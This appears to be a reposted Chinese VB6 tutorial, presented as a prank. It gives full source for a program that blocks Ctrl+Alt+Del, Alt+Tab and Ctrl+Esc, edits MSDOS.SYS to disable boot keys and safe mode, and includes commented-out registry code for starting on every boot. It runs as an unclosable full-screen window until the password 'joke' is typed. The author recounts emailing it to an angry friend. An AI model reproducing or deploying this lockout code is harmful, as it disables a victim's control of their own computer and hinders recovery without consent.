转至繁体中文版     | 网站首页 | 图文教程 | 资源下载 | 站长博客 | 图片素材 | 武汉seo | 武汉网站优化 | 
最新公告:     敏韬网|教学资源学习资料永久免费分享站!  [mintao  2008年9月2日]        
您现在的位置: 学习笔记 >> 图文教程 >> 软件开发 >> VB.NET程序 >> 正文
VB==这个玩笑有点酷         ★★★★

VB==这个玩笑有点酷

作者:闵涛 文章来源:闵涛的学习笔记 点击数:690 更新时间:2009/4/23 18:58:17
这个玩笑有点酷
2000-10-18· 不详·yesky

  此程序演示怎样在VB中调用API修改注册表,让程序每次启动都会执行,运用shell函数,操做文本文件,屏蔽系统功能,做出一个能够修改系统的程序(当然能和你的朋友开个玩笑),并且用事件key_press接收密码来关闭程序。

模块中声明:

’创建子键

Public Declare Function RegCreateKey Lib "advapi32.dll" Alias "RegCreateKeyA" _
        (ByVal hKey As Long, ByVal lpSubKey As String, _
         phkResult As Long) As Long

’创建键值

Public Declare Function RegSetValueEx Lib "advapi32.dll" Alias "RegSetValueExA" _
        (ByVal hKey As Long, ByVal lpValueName As String, _
         ByVal Reserved As Long, ByVal dwType As Long, _
         lpData As Any, ByVal cbData As Long) As Long

’调用API阻挡功能键

Public Declare Function SystemParametersInfo Lib "user32" Alias _
        "SystemParametersInfoA" (ByVal uAction As Long, _
         ByVal uParam As Long, ByRef lpvParam As Any, _
         ByVal fuWinIni As Long) As Long

’调用API控制shell进程

Public Declare Function GetExitCodeProcess Lib "kernel32" _
        (ByVal hprocess As Long, lpExitCode As Long) As Long

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Long, _
        ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long

窗体代码如下:

通用 声明

Dim a(3) As Integer
Const spl_screensaverrunning = 97
Const process_query_information = &H400
Const still_active = &H103
Dim hprocess As Long
Dim pad As Long
Dim code As Long

Const HKEY_local_machine = &H80000002
Const regkey = "software\microsoft\windows\currentversion\run"
Const keyvalue = "run.exe"

Dim retvalue As Long
Dim keyid As Long

Private Sub Form_Load()

’API调用阻挡"ctrl+alt+del","ctrl+esc","alt+tab"热键
SystemParametersInfo spl_screensaverrunning, True, ByVal 1&, 0

’因为SHELL的异步执行,外部程序还未完成任务,VB便往下执行,
’会造成文件访问错误,调用API函 数OpenProcess和GetExitCodeProcess
’解决问题,去掉MSDOS.SYS的只读,隐蔽属性

pad = Shell("attrib -h -s -r c:\msdos.sys /s", vbHide)
hprocess = OpenProcess(process_query_information, False, pad)
Do

GetExitCodeProcess hprocess, code
DoEvents

Loop While code = still_active
’修改MSDOS.SYS,给其中添加BOOTKEYS=0,让启动时功能键F5,F8,CTRL,SHIFT失效,
’用户不能进入safemode修改
Open "c:\msdos.sys " For Append As #1
Print #1, "bootkeys=0"
Close #1
Shell "attrib +h +s +r c:\msdos.sys /s", vbHide

End Sub

’修改注册表,在"software\microsoft\windows\currentversion\run" 下创建字符串值"RUN",
’值为"RUN.EXE",让每次启动都会执行
’retvalue = RegCreateKey(HKEY_local_machine, regkey, keyid)
’retvalue = RegSetValueEx(keyid, "run", 0&, 1, ByVal keyvalue, Len(keyvalue) + 1)
’接收密码的ASC码值,密码为joke

Private Sub Form_KeyPress(KeyAscii As Integer)

a(3) = a(2)
a(2) = a(1)
a(1) = a(0)
a(0) = KeyAscii
If a(0) = 101 And a(1) = 107 And a(2) = 111 And a(3) = 106 Then

End

End If

End Sub

’在窗体退出时使三组热键生效

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)

SystemParametersInfo spl_screensaverrunning, False, ByVal 1&, 0

End Sub

  以上程序编译为RUN.EXE,在VB6中调试通过,你可以自行在窗体中加入文本框,并且把窗体属 性borderstyle改为0-none,windowstate改为2-maximized,就做出了一个关不掉的程序,并且每次 启动都会执行,我就是通过E-MAIL给朋友发送了这个程序,把朋友惹得非常生气,我在这里郑重的表示道歉,I’m so sorry,please forgive me,Madam you!


没有相关教程
教程录入:mintao    责任编辑:mintao 
  • 上一篇教程:

  • 下一篇教程:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    同类栏目
    · C语言系列  · VB.NET程序
    · JAVA开发  · Delphi程序
    · 脚本语言
    更多内容
    热门推荐 更多内容
  • 没有教程
  • 赞助链接
    更多内容
    闵涛博文 更多关于武汉SEO的内容
    500 - 内部服务器错误。

    500 - 内部服务器错误。

    您查找的资源存在问题,因而无法显示。

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007-2012 敏韬网(敏而好学,文韬武略--MinTao.Net)(学习笔记) Inc All Rights Reserved.
    闵涛 投放广告、内容合作请Q我! E_mail:admin@mintao.net(欢迎提供学习资源)

    站长:MinTao ICP备案号:鄂ICP备11006601号-18

    闵涛站盟:医药大全-武穴网A打造BCD……
    咸宁网络警察报警平台